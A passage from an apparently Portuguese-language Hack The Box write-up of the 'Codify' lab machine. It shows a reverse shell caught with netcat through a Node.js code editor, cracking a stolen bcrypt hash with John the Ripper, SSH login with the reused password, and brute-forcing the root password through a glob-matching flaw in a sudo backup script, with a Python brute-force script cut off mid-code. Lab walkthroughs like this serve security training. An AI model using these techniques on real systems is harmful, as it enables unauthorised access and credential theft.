&lt;p&gt;Clicando em &lt;strong&gt;Try it now&lt;/strong&gt; somos redirecionados para o endpoint /editor:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnqlymz51vz542mowppbu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnqlymz51vz542mowppbu.png" alt="Editor" width="800" height="484"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Onde podemos executar códigos utilizando nodejs. E aqui encontramos nossa primeira vulnerabilidade. &lt;/p&gt;

&lt;p&gt;No terminal vamos utilizar o netcat para ouvir na porta 9001:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/codify]
└─# nc &lt;span class="nt"&gt;-nvlp&lt;/span&gt; 9001
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 9001 ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E no editor vamos adicionar o seguinte código:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffodq2yadfct9hshqc5n8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffodq2yadfct9hshqc5n8.png" alt="Reverse shelll" width="800" height="484"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Dessa forma ao clicarmos em Run temos o seguinte retorno em nosso netcat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/codify]
└─# nc &lt;span class="nt"&gt;-nvlp&lt;/span&gt; 9001
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 9001 ...
connect to &lt;span class="o"&gt;[&lt;/span&gt;10.10.14.162] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;10.129.67.147] 52094
bash: cannot &lt;span class="nb"&gt;set &lt;/span&gt;terminal process group &lt;span class="o"&gt;(&lt;/span&gt;1238&lt;span class="o"&gt;)&lt;/span&gt;: Inappropriate ioctl &lt;span class="k"&gt;for &lt;/span&gt;device
bash: no job control &lt;span class="k"&gt;in &lt;/span&gt;this shell
svc@codify:~&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguimos um shell como usuário svc!&lt;/p&gt;

&lt;p&gt;Este usuário não possui a user flag, sendo necessário realizar uma movimentação lateral para outro usuário. Neste caso o usuário é &lt;strong&gt;joshua&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;svc@codify:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt; ..
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt; ..
total 16K
drwxr-xr-x  4 joshua joshua 4.0K Sep 12 17:10 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 18 root   root   4.0K Oct 31 07:57 ..
drwxrwx---  3 joshua joshua 4.0K Nov  2 12:22 joshua
drwxr-x---  4 svc    svc    4.0K Sep 26 10:00 svc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Podemos notar alguns serviços interessantes rodando no servidor e entender mais a fundo o funcionamento da aplicação em nodejs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data    1167  0.0  0.1 1248900 5968 ?        Sl   19:57   0:00 /usr/sbin/apache2 &lt;span class="nt"&gt;-k&lt;/span&gt; start
www-data    1168  0.0  0.1 1249032 6632 ?        Sl   19:57   0:00 /usr/sbin/apache2 &lt;span class="nt"&gt;-k&lt;/span&gt; start
root        1233  0.0  2.0 1614296 79860 ?       Ssl  19:57   0:01 /usr/bin/dockerd &lt;span class="nt"&gt;-H&lt;/span&gt; fd:// &lt;span class="nt"&gt;--containerd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/run/containerd/containerd.sock
svc         1238  0.4  1.4 643260 58900 ?        Ssl  19:57   0:06 PM2 v5.3.0: God Daemon &lt;span class="o"&gt;(&lt;/span&gt;/home/svc/.pm2&lt;span class="o"&gt;)&lt;/span&gt;
svc         1256  0.3  1.5 654004 62572 ?        Sl   19:57   0:04 node /var/www/editor/index.js
svc         1257  0.2  1.5 653800 62548 ?        Sl   19:57   0:04 node /var/www/editor/index.js
svc         1273  0.2  1.5 653800 62460 ?        Sl   19:57   0:04 node /var/www/editor/index.js
svc         1277  0.2  1.5 653864 62032 ?        Sl   19:57   0:04 node /var/www/editor/index.js
svc         1463  0.3  1.5 654212 62852 ?        Sl   19:57   0:05 node /var/www/editor/index.js
root        1564  0.0  0.0   2888   956 ?        Ss   19:57   0:00 /bin/sh /root/scripts/other/docker-startup.sh
root        1565  0.2  0.8 190444 33940 ?        Sl   19:57   0:03 /usr/bin/python3 /usr/bin/docker-compose &lt;span class="nt"&gt;-f&lt;/span&gt; /root/scripts/docker/docker-compose.yml up
root        1634  0.0  0.0 1082092 2892 ?        Sl   19:57   0:00 /usr/bin/docker-proxy &lt;span class="nt"&gt;-proto&lt;/span&gt; tcp &lt;span class="nt"&gt;-host-ip&lt;/span&gt; 127.0.0.1 &lt;span class="nt"&gt;-host-port&lt;/span&gt; 3306 &lt;span class="nt"&gt;-container-ip&lt;/span&gt; 172.19.0.2 &lt;span class="nt"&gt;-container-port&lt;/span&gt; 3306
root        1653  0.0  0.3 722280 12232 ?        Sl   19:57   0:00 /usr/bin/containerd-shim-runc-v2 &lt;span class="nt"&gt;-namespace&lt;/span&gt; moby &lt;span class="nt"&gt;-id&lt;/span&gt; f88b314ed6a4f84693267bda194d6266bdde5798ef5ccd082109b2566fda07f8 &lt;span class="nt"&gt;-address&lt;/span&gt; /run/containerd/containerd.sock
lxd         1673  0.0  2.5 1209952 101224 ?      Ssl  19:57   0:00 mariadbd
svc         1885  0.2  1.4 644132 59364 ?        Sl   20:11   0:01 node /var/www/editor/index.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Temos um apache rodando que esta servindo de proxy reverso para a aplicação nodejs na porta 3000.&lt;/p&gt;

&lt;p&gt;Também temos um docker rodando que possui um container para o banco de dados na porta 3306, que se trata de um MariaDB. Que é um MySQL open source.&lt;/p&gt;

&lt;p&gt;Com essas infos temos diversos pontos para buscar formas de movimentação lateral e também escalação de privilégios.&lt;/p&gt;

&lt;p&gt;Vamos analisar os arquivos da aplicação buscando encontrar algum dado sensível exposto.&lt;/p&gt;

&lt;p&gt;Dentre os arquivos que chamaram a atenção se encontra o &lt;strong&gt;tickets.db&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;svc@codify:/var/www/contact&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lah&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lah&lt;/span&gt;
total 120K
drwxr-xr-x 3 svc  svc  4.0K Sep 12 17:45 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 5 root root 4.0K Sep 12 17:40 ..
&lt;span class="nt"&gt;-rw-rw-r--&lt;/span&gt; 1 svc  svc  4.3K Apr 19  2023 index.js
&lt;span class="nt"&gt;-rw-rw-r--&lt;/span&gt; 1 svc  svc   268 Apr 19  2023 package.json
&lt;span class="nt"&gt;-rw-rw-r--&lt;/span&gt; 1 svc  svc   76K Apr 19  2023 package-lock.json
drwxrwxr-x 2 svc  svc  4.0K Apr 21  2023 templates
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 svc  svc   20K Sep 12 17:45 tickets.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esse é um arquivo sqlite utilizado pela app. Vamos realizar o download do mesmo e abrir utilizando o sqlite database browser.&lt;/p&gt;

&lt;p&gt;E aqui podemos encontrar a seguinte informação:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fie16euxublkdb1luhys5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fie16euxublkdb1luhys5.png" alt="DB Browser SQLite" width="800" height="183"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Se trata de um hash para a senha do usuário joshua! Vamos salvar esse hash em um arquivo e utilizar o John The Ripper para quebrá-la:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/hackthebox/machines-linux/codify]
└─# john &lt;span class="nt"&gt;-w&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt joshua-hash 
Using default input encoding: UTF-8
Loaded 1 password &lt;span class="nb"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;bcrypt &lt;span class="o"&gt;[&lt;/span&gt;Blowfish 32/64 X3]&lt;span class="o"&gt;)&lt;/span&gt;
Cost 1 &lt;span class="o"&gt;(&lt;/span&gt;iteration count&lt;span class="o"&gt;)&lt;/span&gt; is 4096 &lt;span class="k"&gt;for &lt;/span&gt;all loaded hashes
Will run 4 OpenMP threads
Press &lt;span class="s1"&gt;'q'&lt;/span&gt; or Ctrl-C to abort, almost any other key &lt;span class="k"&gt;for &lt;/span&gt;status
spongebob1       &lt;span class="o"&gt;(&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt;     
1g 0:00:00:39 DONE &lt;span class="o"&gt;(&lt;/span&gt;2023-11-06 15:27&lt;span class="o"&gt;)&lt;/span&gt; 0.02550g/s 34.88p/s 34.88c/s 34.88C/s crazy1..angel123
Use the &lt;span class="s2"&gt;"--show"&lt;/span&gt; option to display all of the cracked passwords reliably
Session completed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com essa senha encontramos outra má prática, que é reutilizar a senha em mais de um local. Pois com essa senha conseguimos acesso ssh com o usuário &lt;strong&gt;joshua&lt;/strong&gt; e assim a user flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/hackthebox/machines-linux/codify]
└─# ssh joshua@codify.htb    
The authenticity of host &lt;span class="s1"&gt;'codify.htb (10.129.67.147)'&lt;/span&gt; can&lt;span class="s1"&gt;'t be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '&lt;/span&gt;codify.htb&lt;span class="s1"&gt;' (ED25519) to the list of known hosts.
joshua@codify.htb'&lt;/span&gt;s password: 
Welcome to Ubuntu 22.04.3 LTS &lt;span class="o"&gt;(&lt;/span&gt;GNU/Linux 5.15.0-88-generic x86_64&lt;span class="o"&gt;)&lt;/span&gt;

 &lt;span class="k"&gt;*&lt;/span&gt; Documentation:  https://help.ubuntu.com
 &lt;span class="k"&gt;*&lt;/span&gt; Management:     https://landscape.canonical.com
 &lt;span class="k"&gt;*&lt;/span&gt; Support:        https://ubuntu.com/advantage

  System information as of Mon Nov  6 08:28:47 PM UTC 2023

  System load:                      0.0087890625
  Usage of /:                       69.1% of 6.50GB
  Memory usage:                     20%
  Swap usage:                       0%
  Processes:                        237
  Users logged &lt;span class="k"&gt;in&lt;/span&gt;:                  0
  IPv4 address &lt;span class="k"&gt;for &lt;/span&gt;br-030a38808dbf: 172.18.0.1
  IPv4 address &lt;span class="k"&gt;for &lt;/span&gt;br-5ab86a4e40d0: 172.19.0.1
  IPv4 address &lt;span class="k"&gt;for &lt;/span&gt;docker0:         172.17.0.1
  IPv4 address &lt;span class="k"&gt;for &lt;/span&gt;eth0:            10.129.67.147
  IPv6 address &lt;span class="k"&gt;for &lt;/span&gt;eth0:            dead:beef::250:56ff:fe96:3567

Expanded Security Maintenance &lt;span class="k"&gt;for &lt;/span&gt;Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: &lt;span class="nb"&gt;sudo &lt;/span&gt;pro status

joshua@codify:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt  .vimrc
joshua@codify:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt 
fd3367ba0f1f94ea8b5634db1e5bd2c0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Escalação de privilégios e root flag
&lt;/h3&gt;

&lt;p&gt;Iremos iniciar visualizando as permissões que o usuário joshua possui:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;joshua@codify:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-ll&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;joshua: 
Matching Defaults entries &lt;span class="k"&gt;for &lt;/span&gt;joshua on codify:
    env_reset, mail_badpass, &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/bin&lt;span class="se"&gt;\:&lt;/span&gt;/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/bin&lt;span class="se"&gt;\:&lt;/span&gt;/snap/bin, use_pty

User joshua may run the following commands on codify:

Sudoers entry:
    RunAsUsers: root
    Commands:
        /opt/scripts/mysql-backup.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Utilizando o comando sudo com a flag -ll conseguimos ver com mais detalhes as permissões de sudo que o usuário possui.&lt;/p&gt;

&lt;p&gt;O usuário pode executar o script /opt/scripts/mysql-backup.sh com permissões de root. Vamos analisar o script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;joshua@codify:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /opt/scripts/mysql-backup.sh 
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"root"&lt;/span&gt;
&lt;span class="nv"&gt;DB_PASS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;/usr/bin/cat /root/.creds&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;BACKUP_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/var/backups/mysql"&lt;/span&gt;

&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"Enter MySQL password for &lt;/span&gt;&lt;span class="nv"&gt;$DB_USER&lt;/span&gt;&lt;span class="s2"&gt;: "&lt;/span&gt; USER_PASS
/usr/bin/echo

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$DB_PASS&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;$USER_PASS&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
        /usr/bin/echo &lt;span class="s2"&gt;"Password confirmed!"&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
        /usr/bin/echo &lt;span class="s2"&gt;"Password confirmation failed!"&lt;/span&gt;
        &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;

/usr/bin/mkdir &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nv"&gt;databases&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;/usr/bin/mysql &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DB_USER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-h&lt;/span&gt; 0.0.0.0 &lt;span class="nt"&gt;-P&lt;/span&gt; 3306 &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DB_PASS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"SHOW DATABASES;"&lt;/span&gt; | /usr/bin/grep &lt;span class="nt"&gt;-Ev&lt;/span&gt; &lt;span class="s2"&gt;"(Database|information_schema|performance_schema)"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for &lt;/span&gt;db &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nv"&gt;$databases&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    /usr/bin/echo &lt;span class="s2"&gt;"Backing up database: &lt;/span&gt;&lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    /usr/bin/mysqldump &lt;span class="nt"&gt;--force&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DB_USER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-h&lt;/span&gt; 0.0.0.0 &lt;span class="nt"&gt;-P&lt;/span&gt; 3306 &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DB_PASS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | /usr/bin/gzip &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_DIR&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="s2"&gt;.sql.gz"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

/usr/bin/echo &lt;span class="s2"&gt;"All databases backed up successfully!"&lt;/span&gt;
/usr/bin/echo &lt;span class="s2"&gt;"Changing the permissions"&lt;/span&gt;
/usr/bin/chown root:sys-adm &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
/usr/bin/chmod 774 &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
/usr/bin/echo &lt;span class="s1"&gt;'Done!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui vemos que precisamos informar uma senha que bata com o conteúdo de &lt;strong&gt;/root/.creds&lt;/strong&gt;, para que o script seja executado.&lt;/p&gt;

&lt;p&gt;Podemos constatar que a ideia é descobrir a senha e que ela seja a mesma do usuário root, pois a execução do script em si somente filtra removendo os bancos &lt;strong&gt;information_schema&lt;/strong&gt;  e &lt;strong&gt;performance_schema&lt;/strong&gt;, de forma que os demais tenham um backup efetuado através do comando &lt;strong&gt;mysqldump&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Analisando o código bash encontramos uma vulnerabilidade na condicional que realiza a comparação entre a senha fornecida pelo input do usuário e a senha que consta no arquivo do usuário root.&lt;/p&gt;

&lt;p&gt;Ocorre que quando o operador do lado direito dentro do duplo colchete não esta entre aspas o bash realiza uma combinação por padrões, conhecido como pattern matching. Ou seja, você não precisa passar o valor exato, somente um valor que seja verdadeiro. &lt;/p&gt;

&lt;p&gt;Por exemplo, se a senha for hackthebox, se você informar o valor hack* o mesmo será aceito.&lt;/p&gt;

&lt;p&gt;Com isso podemos tentar buscar a senha através de brute force!&lt;/p&gt;

&lt;p&gt;Podemos realizar um teste rápido para validar nossa teoria. Criamos um arquivo contendo todos os caracteres ASCII através do seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;32&lt;span class="p"&gt;;&lt;/span&gt;i&amp;lt;127&lt;span class="p"&gt;;&lt;/span&gt;i++&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; %03o &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ascii.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com o arquivo em mãos podemos realizar um simples brute force:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;joshua@codify:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;ascii.txt&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;*"&lt;/span&gt; | &lt;span class="nb"&gt;sudo&lt;/span&gt; /opt/scripts/mysql-backup.sh - &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done

&lt;/span&gt;Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!

Password confirmed!
mysql: &lt;span class="o"&gt;[&lt;/span&gt;Warning] Using a password on the &lt;span class="nb"&gt;command &lt;/span&gt;line interface can be insecure.
Backing up database: mysql
mysqldump: &lt;span class="o"&gt;[&lt;/span&gt;Warning] Using a password on the &lt;span class="nb"&gt;command &lt;/span&gt;line interface can be insecure.
&lt;span class="nt"&gt;--&lt;/span&gt; Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can&lt;span class="s1"&gt;'t use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can'&lt;/span&gt;t use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: &lt;span class="o"&gt;[&lt;/span&gt;Warning] Using a password on the &lt;span class="nb"&gt;command &lt;/span&gt;line interface can be insecure.
&lt;span class="nt"&gt;--&lt;/span&gt; Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
?
Password confirmation failed!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora temos um padrão, quando a senha o valor ascii é inválido retorna “&lt;strong&gt;Password confirmation failed!&lt;/strong&gt;” e quando é válido retorna “&lt;strong&gt;Password confirmed!&lt;/strong&gt;”.&lt;/p&gt;

&lt;p&gt;Com isso podemos criar um script que quando recebe o retorno de senha válida adicionar numa lista, assim printando a lista!&lt;/p&gt;

&lt;p&gt;Podemos criar utilizando python para facilitar, uma vez que ele ja possui uma forma mais simples de gerar os caracteres em ascii.&lt;/p&gt;

&lt;p&gt;Resultando no seguinte script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;import string
import subprocess

all_ascii &lt;span class="o"&gt;=&lt;/span&gt; list&lt;span class="o"&gt;(&lt;/span&gt;string.ascii_letters + string.digits&lt;span class="o"&gt;)&lt;/span&gt;

password &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
found &lt;span class="o"&gt;=&lt;/span&gt; False

&lt;span class="k"&gt;while &lt;/span&gt;not found:
    &lt;span class="k"&gt;for &lt;/span&gt;character &lt;span class="k"&gt;in &lt;/span&gt;all_ascii:
        &lt;span class="nb"&gt;command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; f&lt;span class="s2"&gt;"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"&lt;/span&gt;
